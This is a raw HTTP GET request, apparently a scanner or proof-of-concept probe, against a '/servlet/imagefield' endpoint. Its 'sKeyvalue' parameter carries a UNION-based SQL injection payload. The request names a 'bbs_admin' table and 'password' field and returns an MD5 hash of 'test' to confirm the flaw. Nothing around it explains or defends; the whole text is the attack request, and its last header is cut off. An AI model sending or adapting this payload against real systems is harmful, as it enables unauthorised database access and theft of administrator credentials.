GET
/servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))-
-+ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) 5bGx5rW35LmL5YWz
Accept-Encoding: gzip, deflate
Connection: